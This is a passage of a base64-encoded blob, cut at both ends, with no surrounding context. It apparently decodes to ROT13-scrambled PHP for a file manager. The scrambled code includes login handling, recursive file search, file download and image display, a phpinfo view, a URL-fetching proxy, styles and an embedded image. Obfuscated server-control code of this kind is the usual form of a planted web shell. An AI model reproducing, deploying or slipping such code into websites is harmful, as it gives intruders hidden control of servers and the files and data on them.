nLnlicG5ndmJhLnVlcnMgPSBcJycuc3pfaGV5KCkuJz9zel9mcmdndmF0Zj1nZWhyXCc7IiBpbnlocj0iJy5fXygnRXJmcmcnKS4nIi8+IDx2YWNoZyBnbGNyPSJmaG96dmciIGlueWhyPSInLl9fKCdGbmlyJykuJyIgPjwvZ3E+PC9nZT4NCjwvc2Jlej4NCjxzYmV6IHpyZ3VicT0iY2JmZyIgbnBndmJhPSIiPg0KPHZhY2hnIGdsY3I9InV2cXFyYSIgaW55aHI9IicuJHlhdF9nY3kuJyIgYW56cj0iZ2N5X3JxdmdycSI+DQo8Z2U+PGdxIHB5bmZmPSJlYmoxIj48dmFjaGcgYW56cj0iJy4keWF0X2djeS4nX2Fyal9hbnpyIiBpbnlocj0iIiBjeW5wcnVieXFyZT0iJy5fXygnQXJqJykuJyAnLl9fKCdBbnpyJykuJyI+PC9ncT48Z3EgcHluZmY9ImViajIganVieXIiPjxncmtnbmVybiBhbnpyPSInLiR5YXRfZ2N5LidfYXJqX2lueWhyIiAgcGJ5Zj0iNTUiIGViamY9IjUiIHB5bmZmPSJncmtnbmVybl92YWNoZyIgY3lucHJ1YnlxcmU9IicuX18oJ0FyaicpLicgJy5fXygnSW55aHInKS4nIj48L2dya2duZXJuPjwvZ3E+PC9nZT4NCjxnZT48Z3EgcGJ5ZmNuYT0iMiIgcHluZmY9ImViajMiPjx2YWNoZyBnbGNyPSJmaG96dmciIGlueWhyPSInLl9fKCdOcXEnKS4nIiA+PC9ncT48L2dlPg0KPC9zYmV6Pg0KPC9nbm95cj4NCic7DQp9DQoNCnNoYXBndmJhIHN2YXFfZ3JrZ192YV9zdnlyZigkcXZlLCAkem5meCwgJGdya2cpIHsNCiAgICAkZXJmaHlnZiA9IG5lZW5sKCk7DQogICAgdnMgKCR1bmFxeXIgPSBiY3JhcXZlKCRxdmUpKSB7DQogICAgICAgIGp1dnlyIChzbnlmciAhPT0gKCRyYWdlbCA9IGVybnFxdmUoJHVuYXF5cikpKSB7DQogICAgICAgICAgICB2cyAoJHJhZ2VsICE9ICIuIiAmJiAkcmFnZWwgIT0gIi4uIikgew0KICAgICAgICAgICAgICAgICRjbmd1ID0gJHF2ZSAuICIvIiAuICRyYWdlbDsNCiAgICAgICAgICAgICAgICB2cyAodmZfcXZlKCRjbmd1KSkgew0KICAgICAgICAgICAgICAgICAgICAkZXJmaHlnZiA9IG5lZW5sX3pyZXRyKCRlcmZoeWdmLCBzdmFxX2dya2dfdmFfc3Z5cmYoJGNuZ3UsICR6bmZ4LCAkZ3JrZykpOw0KICAgICAgICAgICAgICAgIH0gcnlmciB7DQogICAgICAgICAgICAgICAgICAgIHZzIChzYXpuZ3B1KCR6bmZ4LCAkcmFnZWwpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcGJhZ3JhZ2YgPSBzdnlyX3RyZ19wYmFncmFnZigkY25ndSk7DQogICAgICAgICAgICAgICAgICAgICAgICB2cyAoZmdlY2JmKCRwYmFncmFnZiwgJGdya2cpICE9PSBzbnlmcikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRlcmZoeWdmW10gPSBmZ2VfZXJjeW5wcignLy8nLCAnLycsICRjbmd1KTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBweWJmcnF2ZSgkdW5hcXlyKTsNCiAgICB9DQogICAgZXJnaGVhICRlcmZoeWdmOw0KfQ0KDQoNCi8qIFJhcSBTaGFwZ3ZiYWYgKi8NCg0KLy8gbmhndWJldm1uZ3ZiYQ0KdnMgKCRuaGd1WyduaGd1YmV2bXInXSkgew0KCXZzICh2ZmZyZygkX0NCRkdbJ3lidHZhJ10pICYmIHZmZnJnKCRfQ0JGR1snY25mZmpiZXEnXSkpew0KCQl2cyAoKCRfQ0JGR1sneWJ0dmEnXT09JG5oZ3VbJ3lidHZhJ10pICYmICgkX0NCRkdbJ2NuZmZqYmVxJ109PSRuaGd1WydjbmZmamJlcSddKSkgew0KCQkJZnJncGJieHZyKCRuaGd1WydwYmJ4dnJfYW56ciddLCAkbmhndVsneWJ0dmEnXS4nfCcuenE1KCRuaGd1WydjbmZmamJlcSddKSwgZ3Z6cigpICsgKDg2NDAwICogJG5oZ3VbJ3FubGZfbmhndWJldm1uZ3ZiYSddKSk7DQoJCQkkX1BCQlhWUlskbmhndVsncGJieHZyX2FuenInXV09JG5oZ3VbJ3lidHZhJ10uJ3wnLnpxNSgkbmhndVsnY25mZmpiZXEnXSk7DQoJCX0NCgl9DQoJdnMgKCF2ZmZyZygkX1BCQlhWUlskbmhndVsncGJieHZyX2FuenInXV0pIEJFICgkX1BCQlhWUlskbmhndVsncGJieHZyX2FuenInXV0hPSRuaGd1Wyd5YnR2YSddLid8Jy56cTUoJG5oZ3VbJ2NuZmZqYmVxJ10pKSkgew0KCQlycHViICcNCjwhcWJwZ2xjciB1Z3p5Pg0KPHVnenk+DQo8dXJucT4NCjx6cmduIHB1bmVmcmc9Imhncy04IiAvPg0KPHpyZ24gYW56cj0iaXZyamNiZWciIHBiYWdyYWc9Imp2cWd1PXFyaXZwci1qdnFndSwgdmF2Z3ZueS1mcG55cj0xIiAvPg0KPGd2Z3lyPicuX18oJ1N2eXIgem5hbnRyZScpLic8L2d2Z3lyPg0KPC91cm5xPg0KPG9icWw+DQo8c2JleiBucGd2YmE9IiIgenJndWJxPSJjYmZnIj4NCicuX18oJ1lidHZhJykuJyA8dmFjaGcgYW56cj0ieWJ0dmEiIGdsY3I9Imdya2ciPiZhb2ZjOyZhb2ZjOyZhb2ZjOw0KJy5fXygnQ25mZmpiZXEnKS4nIDx2YWNoZyBhbnpyPSJjbmZmamJlcSIgZ2xjcj0iY25mZmpiZXEiPiZhb2ZjOyZhb2ZjOyZhb2ZjOw0KPHZhY2hnIGdsY3I9ImZob3p2ZyIgaW55aHI9IicuX18oJ1JhZ3JlJykuJyIgcHluZmY9InN6X3ZhY2hnIj4NCjwvc2Jlej4NCicuc3pfeW5hdF9zYmV6KCR5bmF0aG50cikuJw0KPC9vYnFsPg0KPC91Z3p5Pg0KJzsgIA0KcXZyKCk7DQoJfQ0KCXZzICh2ZmZyZygkX0NCRkdbJ2RodmcnXSkpIHsNCgkJaGFmcmcoJF9QQkJYVlJbJG5oZ3VbJ3BiYnh2cl9hbnpyJ11dKTsNCgkJZnJncGJieHZyKCRuaGd1WydwYmJ4dnJfYW56ciddLCAnJywgZ3Z6cigpIC0gKDg2NDAwICogJG5oZ3VbJ3FubGZfbmhndWJldm1uZ3ZiYSddKSk7DQoJCXVybnFyZSgnWWJwbmd2YmE6ICcuc3pfZnZncl9oZXkoKS4kX0ZSRUlSRVsnRVJESFJGR19IRVYnXSk7DQoJfQ0KfQ0KDQovLyBQdW5hdHIgcGJhc3Z0DQp2cyAodmZmcmcoJF9UUkdbJ3N6X2ZyZ2d2YXRmJ10pKSB7DQoJdnMgKHZmZnJnKCRfVFJHWydzel9wYmFzdnRfcXJ5cmdyJ10pKSB7IA0KCQloYWZyZygkX1BCQlhWUlsnc3pfcGJhc3Z0J10pOw0KCQlmcmdwYmJ4dnIoJ3N6X3BiYXN2dCcsICcnLCBndnpyKCkgLSAoODY0MDAgKiAkbmhndVsncW5sZl9uaGd1YmV2bW5ndmJhJ10pKTsNCgkJdXJucXJlKCdZYnBuZ3ZiYTogJy5zel9oZXkoKS4nP3N6X2ZyZ2d2YXRmPWdlaHInKTsNCgkJcmt2ZygwKTsNCgl9CXJ5ZnJ2cyAodmZmcmcoJF9DQkZHWydzel9wYmFzdnQnXSkpIHsgDQoJCSRzel9wYmFzdnQgPSAkX0NCRkdbJ3N6X3BiYXN2dCddOw0KCQlmcmdwYmJ4dnIoJ3N6X3BiYXN2dCcsIGZyZXZueXZtcigkc3pfcGJhc3Z0KSwgZ3Z6cigpICsgKDg2NDAwICogJG5oZ3VbJ3FubGZfbmhndWJldm1uZ3ZiYSddKSk7DQoJCSRfUEJCWFZSWydzel9wYmFzdnQnXSA9IGZyZXZueXZtcigkc3pfcGJhc3Z0KTsNCgkJJHpmdCA9IF9fKCdGcmdndmF0ZicpLicgJy5fXygncWJhcicpOw0KCX0JcnlmcnZzICh2ZmZyZygkX0NCRkdbJ3N6X3lidHZhJ10pKSB7IA0KCQl2cyAocnpjZ2woJF9DQkZHWydzel95YnR2YSddWyduaGd1YmV2bXInXSkpICRfQ0JGR1snc3pfeWJ0dmEnXSA9IG5lZW5sKCduaGd1YmV2bXInID0+ICcwJykgKyAkX0NCRkdbJ3N6X3lidHZhJ107DQoJCSRzel95YnR2YSA9IHdmYmFfcmFwYnFyKCRfQ0JGR1snc3pfeWJ0dmEnXSk7DQoJCSRzdHAgPSBzdnlyX3RyZ19wYmFncmFnZihfX1NWWVJfXyk7DQoJCSRmcm5lcHUgPSBjZXJ0X3puZ3B1KCcjbmhndWJldm1uZ3ZiYVtcZl0/XD1bXGZdP1wnXHtcIiguKj8pXCJcfVwnOyMnLCAkc3RwLCAkem5ncHVyZik7DQoJCXZzICghcnpjZ2woJHpuZ3B1cmZbMV0pKSB7DQoJCQkkc3Z5cnpndnpyID0gc3Z5cnpndnpyKF9fU1ZZUl9fKTsNCgkJCSRlcmN5bnByID0gZmdlX2VyY3lucHIoJ3siJy4kem5ncHVyZlsxXS4nIn0nLCRzel95YnR2YSwkc3RwKTsNCgkJCXZzIChzdnlyX2NoZ19wYmFncmFnZihfX1NWWVJfXywgJGVyY3lucHIpKSB7DQoJCQkJJHpmdCAuPSBfXygnU3Z5ciBoY3FuZ3JxJyk7DQoJCQkJdnMgKCRfQ0JGR1snc3pfeWJ0dmEnXVsneWJ0dmEnXSAhPSAkbmhndVsneWJ0dmEnXSkgJHpmdCAuPSAnICcuX18oJ1lidHZhJykuJzogJy4kX0NCRkdbJ3N6X3lidHZhJ11bJ3lidHZhJ107DQoJCQkJdnMgKCRfQ0JGR1snc3pfeWJ0dmEnXVsnY25mZmpiZXEnXSAhPSAkbmhndVsnY25mZmpiZXEnXSkgJHpmdCAuPSAnICcuX18oJ0NuZmZqYmVxJykuJzogJy4kX0NCRkdbJ3N6X3lidHZhJ11bJ2NuZmZqYmVxJ107DQoJCQkJJG5oZ3UgPSAkX0NCRkdbJ3N6X3lidHZhJ107DQoJCQl9DQoJCQlyeWZyICR6ZnQgLj0gX18oJ1JlZWJlIGJwcGhlZXJxJyk7DQoJCQl2cyAoIXJ6Y2dsKCRzel9wYmFzdnRbJ3N6X2VyZmdiZXJfZ3Z6ciddKSkgZ2JocHUoX19TVllSX18sJHN2eXJ6Z3Z6cik7DQoJCX0NCgl9IHJ5ZnJ2cyAodmZmcmcoJF9DQkZHWydnY3lfcnF2Z3JxJ10pKSB7IA0KCQkkeWF0X2djeSA9ICRfQ0JGR1snZ2N5X3JxdmdycSddOw0KCQl2cyAoIXJ6Y2dsKCRfQ0JGR1skeWF0X2djeS4nX2FuenInXSkpIHsNCgkJCSRzel9jdWMgPSB3ZmJhX3JhcGJxcihuZWVubF9wYnpvdmFyKCRfQ0JGR1skeWF0X2djeS4nX2FuenInXSwkX0NCRkdbJHlhdF9nY3kuJ19pbnlociddKSxXRkJBX1VSS19OQ0JGKTsNCgkJfSByeWZydnMgKCFyemNnbCgkX0NCRkdbJHlhdF9nY3kuJ19hcmpfYW56ciddKSkgew0KCQkJJHN6X2N1YyA9IHdmYmFfcmFwYnFyKHdmYmFfcXJwYnFyKCR7JHlhdF9nY3kuJ19ncnpjeW5ncmYnfSxnZWhyKStuZWVubCgkX0NCRkdbJHlhdF9nY3kuJ19hcmpfYW56ciddPT4kX0NCRkdbJHlhdF9nY3kuJ19hcmpfaW55aHInXSksV0ZCQV9VUktfTkNCRik7DQoJCX0NCgkJdnMgKCFyemNnbCgkc3pfY3VjKSkgew0KCQkJJHN0cCA9IHN2eXJfdHJnX3BiYWdyYWdmKF9fU1ZZUl9fKTsNCgkJCSRmcm5lcHUgPSBjZXJ0X3puZ3B1KCcjJy4keWF0X2djeS4nX2dyemN5bmdyZltcZl0/XD1bXGZdP1wnXHtcIiguKj8pXCJcfVwnOyMnLCAkc3RwLCAkem5ncHVyZik7DQoJCQl2cyAoIXJ6Y2dsKCR6bmdwdXJmWzFdKSkgew0KCQkJCSRzdnlyemd2enIgPSBzdnlyemd2enIoX19TVllSX18pOw0KCQkJCSRlcmN5bnByID0gZmdlX2VyY3lucHIoJ3siJy4kem5ncHVyZlsxXS4nIn0nLCRzel9jdWMsJHN0cCk7DQoJCQkJdnMgKHN2eXJfY2hnX3BiYWdyYWdmKF9fU1ZZUl9fLCAkZXJjeW5wcikpIHsNCgkJCQkJJHskeWF0X2djeS4nX2dyemN5bmdyZid9ID0gJHN6X2N1YzsNCgkJCQkJJHpmdCAuPSBfXygnU3Z5ciBoY3FuZ3JxJyk7DQoJCQkJfSByeWZyICR6ZnQgLj0gX18oJ1JlZWJlIGJwcGhlZXJxJyk7DQoJCQkJdnMgKCFyemNnbCgkc3pfcGJhc3Z0Wydzel9lcmZnYmVyX2d2enInXSkpIGdiaHB1KF9fU1ZZUl9fLCRzdnlyemd2enIpOw0KCQkJfQkNCgkJfSByeWZyICR6ZnQgLj0gX18oJ1JlZWJlIGJwcGhlZXJxJyk7DQoJfQ0KfQ0KDQovLyBXaGZnIGZ1YmogdnpudHINCnZzICh2ZmZyZygkX1RSR1sndnp0J10pKSB7DQoJJHN2eXI9b25mcjY0X3FycGJxcigkX1RSR1sndnp0J10pOw0KCXZzICgkdmFzYj10cmd2em50cmZ2bXIoJHN2eXIpKXsNCgkJZmp2Z3B1ICAoJHZhc2JbMl0pewkvLzE9VFZTLCAyPVdDVCwgMz1DQVQsIDQ9RkpTLCA1PUNGUSwgNj1PWkMNCgkJCXBuZnIgMTogJHJrZz0ndHZzJzsgb2Vybng7DQoJCQlwbmZyIDI6ICRya2c9J3djcnQnOyBvZXJueDsNCgkJCXBuZnIgMzogJHJrZz0nY2F0Jzsgb2Vybng7DQoJCQlwbmZyIDY6ICRya2c9J296Yyc7IG9lcm54Ow0KCQkJcXJzbmh5ZzogcXZyKCk7DQoJCX0NCgkJdXJucXJlKCJQYmFncmFnLWdsY3I6IHZ6bnRyLyRya2ciKTsNCgkJcnB1YiBzdnlyX3RyZ19wYmFncmFnZigkc3Z5cik7DQoJCXF2cigpOw0KCX0NCn0NCg0KLy8gV2hmZyBxYmpheWJucSBzdnlyDQp2cyAodmZmcmcoJF9UUkdbJ3FiamF5Ym5xJ10pKSB7DQoJJHN2eXI9b25mcjY0X3FycGJxcigkX1RSR1sncWJqYXlibnEnXSk7DQoJc3pfcWJqYXlibnEoJHN2eXIpOwkNCn0NCg0KLy8gV2hmZyBmdWJqIHZhc2INCnZzICh2ZmZyZygkX1RSR1snY3VjdmFzYiddKSkgew0KCWN1Y3Zhc2IoKTsgDQoJcXZyKCk7DQp9DQoNCi8vIFp2YXYgY2Via2wsIHpuYWwgb2h0ZiENCnZzICh2ZmZyZygkX1RSR1snY2Via2wnXSkgJiYgKCFyemNnbCgkc3pfcGJhc3Z0WydyYW5veXJfY2Via2wnXSkpKSB7DQoJJGhleSA9IHZmZnJnKCRfVFJHWydoZXknXSk/aGV5cXJwYnFyKCRfVFJHWydoZXknXSk6Jyc7DQoJJGNlYmtsX3NiZXogPSAnDQo8cXZpIGZnbHlyPSJjYmZ2Z3ZiYTplcnluZ3ZpcjttLXZhcXJrOjEwMDUwMDtvbnB4dGViaGFxOiB5dmFybmUtdGVucXZyYWcoZ2Igb2JnZ2J6LCAjcjRzNXNwIDAlLCNvc3I4czkgNTAlLCM5c3E4cnMgNTElLCMybm8wcnEgMTAwJSk7Ij4NCgk8c2JleiBucGd2YmE9IiIgenJndWJxPSJUUkciPg0KCTx2YWNoZyBnbGNyPSJ1dnFxcmEiIGFuenI9ImNlYmtsIiBpbnlocj0iZ2VociI+DQoJJy5zel91YnpyKCkuJyA8biB1ZXJzPSInLiRoZXkuJyIgZ25ldHJnPSJfb3luYXgiPkhleTwvbj46IDx2YWNoZyBnbGNyPSJncmtnIiBhbnpyPSJoZXkiIGlueWhyPSInLiRoZXkuJyIgZnZtcj0iNTUiPg0KCTx2YWNoZyBnbGNyPSJmaG96dmciIGlueWhyPSInLl9fKCdGdWJqJykuJyIgcHluZmY9InN6X3ZhY2hnIj4NCgk8L3NiZXo+DQo8L3F2aT4NCic7DQoJdnMgKCRoZXkpIHsNCgkJJHB1ID0gcGhleV92YXZnKCRoZXkpOw0KCQlwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfSEZSRU5UUkFHLCAnUXJhMWtrayBncmZnIGNlYmtsJyk7DQoJCXBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19TQllZQkpZQlBOR1ZCQSwgMSk7DQoJCXBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19GRllfSVJFVlNMVUJGRywwKTsNCgkJcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0ZGWV9JUkVWU0xDUlJFLDApOw0KCQlwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfVVJOUVJFLCAwKTsNCgkJcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0VSU1JFUkUsICRoZXkpOw0KCQlwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfRVJHSEVBR0VOQUZTUkUsZ2Vocik7DQoJCSRlcmZoeWcgPSBwaGV5X3JrcnAoJHB1KTsNCgkJcGhleV9weWJmcigkcHUpOw0KCQkvLyRlcmZoeWcgPSBjZXJ0X2VyY3lucHIoJyMoZmVwKT1bIlwnXVt1Z2djOi8vXT8oW146XSopWyJcJ10jSHYnLCAnXFwxPSInLiRoZXkuJy9cXDIiJywgJGVyZmh5Zyk7DQoJCSRlcmZoeWcgPSBjZXJ0X2VyY3lucHJfcG55eW9ucHgoJyModWVyc3xmZXApPVsiXCddW3VnZ2M6Ly9dPyhbXjpdKilbIlwnXSNIdicsICdzel9oZXlfY2Via2wnLCAkZXJmaHlnKTsNCgkJJGVyZmh5ZyA9IGNlcnRfZXJjeW5wcignJSg8b2JxbC4qPz4pJXYnLCAnJDEnLic8ZmdseXI+Jy5zel91YnpyX2ZnbHlyKCkuJzwvZmdseXI+Jy4kY2Via2xfc2JleiwgJGVyZmh5Zyk7DQoJCXJwdWIgJGVyZmh5ZzsNCgkJcXZyKCk7DQoJfSANCn0NCj8+DQo8IXFicGdsY3IgdWd6eT4NCjx1Z3p5Pg0KPHVybnE+ICAgICANCgk8enJnbiBwdW5lZnJnPSJoZ3MtOCIgLz4NCgk8enJnbiBhbnpyPSJpdnJqY2JlZyIgcGJhZ3JhZz0ianZxZ3U9cXJpdnByLWp2cWd1LCB2YXZndm55LWZwbnlyPTEiIC8+DQogICAgPGd2Z3lyPjw/PV9fKCdTdnlyIHpuYW50cmUnKT8+PC9ndmd5cj4NCjxmZ2x5cj4NCm9icWwgew0KCW9ucHh0ZWJoYXEtcGJ5YmU6CWp1dmdyOw0KCXNiYWctc256dnlsOgkJSXJlcW5hbiwgTmV2bnksIFVyeWlyZ3ZwbiwgZm5hZi1mcmV2czsNCglzYmFnLWZ2bXI6CQkJOGNnOw0KCXpuZXR2YToJCQkJMGNrOw0KfQ0KDQpuOnl2YXgsIG46bnBndmlyLCBuOml2ZnZncnEgeyBwYnliZTogIzAwNjY5OTsgZ3JrZy1xcnBiZW5ndmJhOiBhYmFyOyB9DQpuOnViaXJlIHsgcGJ5YmU6ICNRUTY5MDA7IGdya2ctcXJwYmVuZ3ZiYTogaGFxcmV5dmFyOyB9DQpuLmd1Onl2YXggeyBwYnliZTogI1NTTjM0UzsgZ3JrZy1xcnBiZW5ndmJhOiBhYmFyOyB9DQpuLmd1Om5wZ3ZpciB7IHBieWJlOiAjU1NOMzRTOyBncmtnLXFycGJlbmd2YmE6IGFiYXI7IH0NCm4uZ3U6aXZmdmdycSB7IHBieWJlOiAjU1NOMzRTOyBncmtnLXFycGJlbmd2YmE6IGFiYXI7IH0NCm4uZ3U6dWJpcmUgeyAgcGJ5YmU6ICNTU04zNFM7IGdya2ctcXJwYmVuZ3ZiYTogaGFxcmV5dmFyOyB9DQoNCmdub3lyLm90IHsNCglvbnB4dGViaGFxLXBieWJlOiAjTlBPT1A2DQp9DQoNCmd1LCBncSB7IA0KCXNiYWc6CWFiZXpueSA4Y2cgSXJlcW5hbiwgTmV2bnksIFVyeWlyZ3ZwbiwgZm5hZi1mcmV2czsNCgljbnFxdmF0OiAzY2s7DQp9DQoNCmd1CXsNCgl1cnZ0dWc6CQkJCTI1Y2s7DQoJb25weHRlYmhhcS1wYnliZToJIzAwNjY5OTsNCglwYnliZToJCQkJI1NTTjM0UzsNCglzYmFnLWpydnR1ZzoJCW9ieXE7DQoJc2JhZy1mdm1yOgkJCTExY2s7DQp9DQoNCi5lYmoxIHsNCglvbnB4dGViaGFxLXBieWJlOgkjUlNSU1JTOw0KfQ0KDQouZWJqMiB7DQoJb25weHRlYmhhcS1wYnliZToJI1FSUjNSNzsNCn0NCg0KLmViajMgew0KCW9ucHh0ZWJoYXEtcGJ5YmU6CSNRMVE3UVA7DQoJY25xcXZhdDogNWNrOw0KfQ0KDQpnZS5lYmoxOnViaXJlIHsNCglvbnB4dGViaGFxLXBieWJlOgkjUzNTUFNQOw0KfQ0KDQpnZS5lYmoyOnViaXJlIHsNCglvbnB4dGViaGFxLXBieWJlOgkjUzBTNlM2Ow0KfQ0KDQouanVieXIgew0KCWp2cWd1OiAxMDAlOw0KfQ0KDQoubnl5IGdvYnFsIGdxOnN2ZWZnLXB1dnlxe2p2cWd1OjEwMCU7fQ0KDQpncmtnbmVybiB7DQoJc2JhZzogOWNnICdQYmhldnJlIEFyaicsIHBiaGV2cmU7DQoJeXZhci11cnZ0dWc6IDEyNSU7DQoJY25xcXZhdDogNWNrOw0KfQ0KDQouZ3JrZ25lcm5fdmFjaGcgew0KCXVydnR1ZzogMXJ6Ow0KfQ0KDQouZ3JrZ25lcm5fdmFjaGc6c2JwaGYgew0KCXVydnR1ZzogbmhnYjsNCn0NCg0KdmFjaGdbZ2xjcj1maG96dmddew0KCW9ucHh0ZWJoYXE6ICNTUFNQU1AgYWJhciAhdnpjYmVnbmFnOw0KCXBoZWZiZTogY2J2YWdyZTsNCn0NCg0KLnNieXFyZSB7DQogICAgb25weHRlYmhhcS12em50cjogaGV5KCJxbmduOnZ6bnRyL2NhdDtvbmZyNjQsdklPQkVqMFhUdGJOTk5OQUZIdVJIdE5OTk9OTk5OTkRQTkxOTk5OczgvOXVOTk5YRzJ5UUQxT0RuVDkwbzNBYm8zTnRGSEFRVlVPbG8yTWNvVEhOTlV3bmFJQWFJU0NjU3czMzNpRVBGNHZOeVJnaUh1SFZWU1dQdjROSHhGTGRWRHhERmJ0dWJxeElIcFJFRUhIUlQ4dnR2TkJCd2JQWlNJUmZRVmJYMk5zeFZuWEJ0NkJWdmZlNzRLaHduOW44OStvQS9lS0tDaHJmODUybW1qc05QTmxKRlFBRUFMTlpkSFZyUnJQUWs4R1Q0ckRoRFZSWFdVTk5STnZtTVBTbS9GWk9OQ3UrQ1FqZVZmTlVpdE5PckFaWVBOUU5HTWlOWk9sVS9qL2REY3lwTkxQUk5wTzB4R3VZUFZOSE5STzZ3eFh6TlJPVE5MUHF6UE1HTlhOUk5UUVlMMll3TlNOZ05UTmFzK29HTlZQcStXeTdORE9veVBSSU5uUEVOUE5HTUx1Uk5UdDdOWG1DSWJjU05TdGpOT0V6RjhENU5BdGdOUU9XSTJNVk5ZUDNOWlFCUk5obE5OdFpOUU9FdlZIY05ORTdOVFFWVmxBNE5WRk1OT0VUOHlwODhGaGhSQnBkTk5PNHpvVjhoRkQ1RUxTb1BQMWtPMXFLWXU0Ym14eEtYa0QyTERXdXp4TmhqYXpNVEdYT0FOL3Q4OGpOTlhQRVNFVXR0L0M5clo0QmVmN0JBYjYyUXk4ZzZlOFQvbFd2TGhDKzVwK2VwUk5OTkJTMHNnVStZUCttVGJON09iT2cvZFZ5N3RFYkt0aHRxc3JZTWVWQ0RZSE5iQmFuSS9BaitVNDhDUkp1eFlhTTJyS3g1QXVYa1JXb0xwY0tzczVhankvTkkvMWYrSzQ4L0NzMTRZN3ZXVlJsS0xTVU9Dd3RqZm0wR1hIcG01Vld1VFlwNWI5VS9ZcFkvL2pxMGxZUkZKWDVKUGJINDFSRnBMNVJ6Ym1tWmRIdnZIWEZYcEh5MGk5eDRnOGYralorM21ITmZUYitOS2hFWW51cUxqQzJGbHBESlVHTjRpcE5OQ1g3bzhVSFhOdFF0VHZRNHA5My8rOC8vSHJ0V0RQTk14ekZwRE5OS3hEeFl5R1hmbS9VUE5OTkVYUE9YZU9PVC9HT1RQbU5PdW1PT3FtT1Ava3RBYkVQV1pHUER1T1BQekZOVVVXdFhubFBEdnZUbW9OcVh6TmkxUk5xQVpPRW5WbkdwTjRoanlKNFF3MWpRL2N1UFc3T1hZbE9QREVPbE50R0xGVW52TlN2dnl0d3d0dEt6TEs0VnBTVk9PWFlXUFFXdk9FRVZ4aEVBSHRrSGJjSFZTSVZVc1Y5cHRWNXUxa1RoY1I3bE5ObHRpbFRpUnBreVZUbEhHM0hRWUlRaG50M1RiRVRidGlETVVEa3piOEpiV2lEcGVEbkNMajJicnNEZDJ0QzJiOCtEOHBqakJ0TE9tQ1JvUU5oa2ZBUGZHdGZQTUF3bDdSdmVObGVrdWRqSWRqUWg0YTFMOCtrcWpERnRIS05QR0xScTBWdExFNU9GU3VaSlI3TEZYdHRVUEQwUnFiV0FqeFF1U1VQV2xYR2RSaDBXZWJFK3BETEx3Vmt1MXVWWVBDSlJiOEdZa083dlJDUkFsREZ2SFpsVzd6RE54emtjU0dGUmdXVDB6NUZWK3hmZE1mMEZPYnd4OGFuTVRobE9tekhZUE5lbFZLeGFyR1E1UUN4VCtEdTh5ZlhhSldOcG5HNEgrVmJIZmNkRnVheVJCSDA1RE15elFXT0luQm5IZzJiYklERUFMOW5EZDJ1Z3lYaUhMcmJSbUUxendhQXRrTVdGNkpnYmNLR1R6dEtuQ3FjZSt1MGh1VXF5RTVCeTlPSzBmaWNFK3ZLNk5DMHFqakF1dUpRazR1YVhPem9UTnBMTWt5M1RYK0xHWExNMDRmTWsxRGpBbVVlekJyTVE1eWlJSXRkZ3ZjOFNNVVhQY0lYeUZuSVRsYmlJWHpkY2RlcmR0Z0k4MUtZSVYrY0t5QTlleE1JWjFDd2REYUh5ZGdJZGMxRDYxWm9IMnJjQjZ2VWR6cmJvMUQvY1U1TS9MeFRKcEFaajA5UWNTVHRmSS93aVpMdFAyWk1mM3RmVkpmQWQ0TTF0R0tSV2VVQTJLazJYZWhML0UyN3ZtMmRkblI1RG1BWFoxcm1IaUJITXc4VTQ1dWsrV2swR3RhYVhYcks4MzZYM3VHaVhyVmNUNkwwR1l4a01Ja2VkY25LeXl2ZUZYZ0VkMHNlaUduaDducnFjZTFTaDFhN3RENU9rMGJhS1BxVU00L0JPTTNhSDl5RzNucFhja01BQ0dlMWV2NmRuNkhvYm9nUnE3OWhjKzZMYWU1cnRXNVpvNnNycm8zYSt1azlZLzFIL0ozNmMvSVVRU3RUZmpqeE9nZlptdXQ4a0dJa29tanFZOHNvOElTUUtwQU5ENkl1eUpUSzRMRkVocVI4YjlJVHdITEN3VGFUS0JaeDQyM1RvcG53V3RMelZGTVlHcmNBN2NjRkdvenpYbkw3R1FnWms4M1ptbllBMWN4MXptMGsxbVlheitybzE1aXNnMk9uclNiZmdkdjJoVElXZmhFbmN5YWhnZWtodUliNUpuSUxJSWNxZjBuZ2FuMHkxZWhnaDZwRWM3eUJ4MDZlYWdNYWo3UWtnZnoyZG9wTWZCS0xPZ2hoZ3oyMnNKU2FMdXFhZzhKaGorNkdpTUE5aGEyQS9HMFVRTHNNUWRmcUp1MStwN0VsU1FjSkJnNm5tY21oQzMzUzlXb2NZMnFMbWtRQzJRQ3dndUNZWHBFY2FJQm8wMHFhUzJyNXA0Q212VmhXRjRZWVljcCtZY2Zva2czVmlyRVhxQ0lrS3JTNjBpSnF6N0JvamgyYjI2L2hBaDVjN2JzcGE4ajBhbHpySkdBbTBaQ1ZEK09FNXFSL1A1K0laVGlzZVU1Q0QwK09NN0thVmw5d1k1U0tlcXJqZzZJM2RpcXU3a3ArOXc1bGErWis0bWozM3dZckpJL1pBOFAzbFlzWUc4QWlheStTMzBBL1YvOXgvM2UvMERQYXRQSE9NakJXdEhUT0pqWTcrVWM4Vm8rQkNtZW9Nc25sMnIxT3dYUDVERUlPdzRYZ3RoS09lRlNibEJsRGVGVTM1NXdCeHA1Y1FiSURzaHdKME5xdTV6VFlqMzRaVzRKVXVJclRDNDVqdlN0bjBHVEtBS3NFM1JBbTMwRzZFV01SM2NnYVpIODVlbDFYQUZiK2R2NWRDQWIzaHdGNkM4TGhNeWFaMUl2cUpSeWZGa2o1WXZkaEF6NWZpZy84N3NCVTRjM3ZQK0E3UzV0aWxTMWpyblVCamlGU2NrbmNZdVZmQmNNTkdWdUJCV0dqREVOZGRPblpXc1ZHcWxKQlBhYVBVcFdhVnYvRUFnVFYyUkFwWHU1Qjh4dGRHS2RGN1dUOEFLeHhrR0J5WUJKNXVQcmN4WWtaUUhtcXptZHJTY2MyVlQwbENHZDlaTEJGeE1Pa0RkYnVHTUIyTStjYTV6TTJsNmt5dW9ZK2tKNllnbDhyeURzV243QkRlTklNWURkMkRkb2JJU2JiMWxiVWZ6cXlJMm4vbUxhWEJNbmVhdmlBN3BsbWxnaERBNW1pYS8vZ1JmVkY0TVgyY0xNWUlsMHFKQm45ZVRiNWZ3a2tycWZYNGt